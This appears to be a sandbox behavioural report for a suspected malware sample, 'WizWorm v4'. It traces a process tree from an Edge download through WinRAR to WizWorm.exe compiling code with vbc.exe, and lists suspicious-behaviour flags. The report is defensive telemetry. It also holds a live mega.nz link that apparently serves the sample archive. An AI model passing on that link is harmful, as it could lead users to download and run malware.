PID 4748 wrote to memory of 4672	4748	msedge.exe	85
PID 4748 wrote to memory of 1472	4748	msedge.exe	87
PID 4748 wrote to memory of 5968	4748	msedge.exe	88
PID 4748 wrote to memory of 4964	4748	msedge.exe	89
PID 4748 wrote to memory of 5968	4748	msedge.exe	88
PID 4748 wrote to memory of 5968	4748	msedge.exe	88
PID 4748 wrote to memory of 4964	4748	msedge.exe	89
PID 4748 wrote to memory of 1236	4748	msedge.exe	91
PID 4748 wrote to memory of 1236	4748	msedge.exe	91
PID 4748 wrote to memory of 5132	4748	msedge.exe	92
PID 4748 wrote to memory of 1236	4748	msedge.exe	91
PID 4748 wrote to memory of 5132	4748	msedge.exe	92
PID 4748 wrote to memory of 5132	4748	msedge.exe	92
PID 4748 wrote to memory of 3536	4748	msedge.exe	96
PID 4748 wrote to memory of 3536	4748	msedge.exe	96
PID 4748 wrote to memory of 5488	4748	msedge.exe	97
PID 4748 wrote to memory of 5488	4748	msedge.exe	97
PID 4748 wrote to memory of 2152	4748	msedge.exe	99
PID 4748 wrote to memory of 808	4748	msedge.exe	102
PID 4748 wrote to memory of 808	4748	msedge.exe	102
PID 4748 wrote to memory of 2788	4748	msedge.exe	110
PID 4748 wrote to memory of 2788	4748	msedge.exe	110
PID 4748 wrote to memory of 3472	4748	msedge.exe	117
PID 4748 wrote to memory of 3472	4748	msedge.exe	117
PID 4748 wrote to memory of 3472	4748	msedge.exe	117
PID 4748 wrote to memory of 1596	4748	msedge.exe	120
PID 4748 wrote to memory of 1596	4748	msedge.exe	120
PID 4748 wrote to memory of 1596	4748	msedge.exe	120
PID 4748 wrote to memory of 5852	4748	msedge.exe	121
PID 4748 wrote to memory of 5852	4748	msedge.exe	121
PID 4748 wrote to memory of 1324	4748	msedge.exe	122
PID 4748 wrote to memory of 1324	4748	msedge.exe	122
PID 4748 wrote to memory of 1324	4748	msedge.exe	122
PID 4748 wrote to memory of 2944	4748	msedge.exe	123
PID 4748 wrote to memory of 2396	4748	msedge.exe	124
PID 4748 wrote to memory of 2396	4748	msedge.exe	124
PID 4748 wrote to memory of 2396	4748	msedge.exe	124
PID 4748 wrote to memory of 5312	4748	msedge.exe	125
PID 4748 wrote to memory of 5312	4748	msedge.exe	125
PID 4748 wrote to memory of 5312	4748	msedge.exe	125
PID 4748 wrote to memory of 1028	4748	msedge.exe	126
PID 4748 wrote to memory of 1028	4748	msedge.exe	126
PID 4748 wrote to memory of 1028	4748	msedge.exe	126
PID 4748 wrote to memory of 5584	4748	msedge.exe	127
PID 4748 wrote to memory of 5584	4748	msedge.exe	127
PID 4748 wrote to memory of 5584	4748	msedge.exe	127
PID 4748 wrote to memory of 460	4748	msedge.exe	130
PID 4748 wrote to memory of 2096	4748	msedge.exe	131
PID 4748 wrote to memory of 3880	4748	msedge.exe	132
PID 4748 wrote to memory of 5484	4748	msedge.exe	133
PID 4748 wrote to memory of 5484	4748	msedge.exe	133
PID 4748 wrote to memory of 4180	4748	msedge.exe	134
PID 4748 wrote to memory of 4180	4748	msedge.exe	134
PID 4748 wrote to memory of 3000	4748	msedge.exe	135
PID 4748 wrote to memory of 3000	4748	msedge.exe	135
PID 4748 wrote to memory of 3000	4748	msedge.exe	135
PID 4748 wrote to memory of 3440	4748	msedge.exe	137
PID 4748 wrote to memory of 4560	4748	msedge.exe	138
PID 4560 wrote to memory of 3196	4560	winrar-x64-720.exe	141
PID 4748 wrote to memory of 1696	4748	msedge.exe	143
PID 1696 wrote to memory of 2668	1696	WinRAR.exe	146
PID 4748 wrote to memory of 4188	4748	msedge.exe	147
PID 4748 wrote to memory of 4188	4748	msedge.exe	147
PID 4748 wrote to memory of 4956	4748	msedge.exe	158

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://mega.nz/file/mRt30TjA#qGIHCIcsWHY9x2Ii85OBhfpbYeskZ6DmEpugI8J3jNM
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ff8f486c188,0x7ff8f486c194,0x7ff8f486c1a0
  2⤵
  PID:4672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1972,i,5871069997483364323,9162816829825488454,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:1472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1844,i,11528321168143581510,8995175442566168300,262144 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:2
  2⤵
  PID:5968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2436,i,11761395368327234690,13496282266957283769,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:8
  2⤵
  PID:4964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,12439685898375734938,15589834528625220914,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:1236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,13013065800153379228,11958071126437312253,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:5132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,16895682861873427760,6835379991486203895,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:8
  2⤵
  PID:3536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4980,i,17541032630277452091,15080412766639765983,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:8
  2⤵
  PID:5488
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,5080221831711563431,6648027646012758499,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,5080221831711563431,6648027646012758499,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  PID:2152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,11447771497133560617,80472650365094392,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:8
  2⤵
  PID:808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5960,i,4233680553318036081,15571627011355479550,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:8
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6612,i,5945807167625175683,1456820869291558467,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:1
  2⤵
  PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6904,i,11999784795072528117,8733489318673805281,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:1
  2⤵
  PID:1596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6744,i,9135197045856112950,3287099545891964525,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6608 /prefetch:8
  2⤵
  PID:5852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6732,i,1733748183754434524,5818796743221304184,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:1
  2⤵
  PID:1324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,15921682876141782206,1912014355285439460,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7316 /prefetch:8
  2⤵
  PID:2944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=7332,i,11416462838841537336,248443363421603331,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7328 /prefetch:1
  2⤵
  PID:2396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7252,i,9415038089431464502,302164832911908054,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7356 /prefetch:1
  2⤵
  PID:5312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6972,i,4258879441754967140,17775068762082654553,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:1
  2⤵
  PID:1028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7900,i,1716923086791722930,8994223469409646030,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7892 /prefetch:1
  2⤵
  PID:5584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7712,i,7806333603685479388,7208361431571541286,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7984 /prefetch:8
  2⤵
  PID:460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=560,i,8658143723202895003,18068558201361106184,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7672 /prefetch:8
  2⤵
  PID:2096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7664,i,17851593989464940564,7139535287848652897,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7680 /prefetch:8
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7684,i,12227210528517625023,7712298085697489759,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7068 /prefetch:8
  2⤵
  PID:5484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8052,i,16780013591610840994,2805327084497503678,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=8092 /prefetch:8
  2⤵
  PID:4180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=7992,i,16634273569470559498,1271597543152334204,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7252 /prefetch:1
  2⤵
  PID:3000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8148,i,16527841627104292761,13368943158097477399,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=8152 /prefetch:8
  2⤵
  PID:3440
- C:\Users\Admin\Downloads\winrar-x64-720.exe
  "C:\Users\Admin\Downloads\winrar-x64-720.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Program Files\WinRAR\uninstall.exe
    "C:\Program Files\WinRAR\uninstall.exe" /setup
    3⤵
    - Executes dropped EXE
    - Modifies system executable filetype association
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:3196
- C:\Program Files\WinRAR\WinRAR.exe
  "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\WizWorm v4.rar"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\WizWorm.exe
    "C:\Users\Admin\AppData\Local\Temp\Rar$EXa1696.15328.rartemp\WizWorm v4\WizWorm.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:2668
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\tcum2sfh\tcum2sfh.cmdline"
      4⤵
      PID:5212
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD090.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc92C8A07D2A646CFA661B0C9E3EB297A.TMP"
        5⤵
        
        PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7688,i,4048235388273661677,18264878774912016026,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7828 /prefetch:8
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5724,i,16256011230621162260,2410208251028216606,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:8
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3800,i,16190709841062405728,8145590766697808260,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=1992 /prefetch:8
  2⤵
  PID:3112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,16652764771355563985,8779797044348236624,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=8352 /prefetch:8
  2⤵
  PID:5904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=7860,i,10053986569892872457,1841542620947052104,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7588 /prefetch:1
  2⤵
  PID:2184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=7880,i,6068162120399372735,11670640090202421982,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7888 /prefetch:1
  2⤵
  PID:3716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6904,i,9914008191176519842,14848735938805167734,262144 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5172,i,6491849742973299598,13706374570402806784,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7360 /prefetch:8
  2⤵
  PID:1180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=7800,i,3343406207343816473,1739657532870128715,2097152 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7672,i,14874673248717765449,7795960455444778553,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:8
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7672,i,4398793859655636875,4929718324232918819,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:8
  2⤵
  PID:5624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,16681866423987271316,14721166425506382554,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=6820 /prefetch:8
  2⤵
  PID:6040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6848,i,12273479254343584904,734436788486362824,524288 --field-trial-handle=2280,i,761836353999570316,234168628815172860,262144 --variations-seed-version --mojo-platform-channel-handle=7400 /prefetch:8
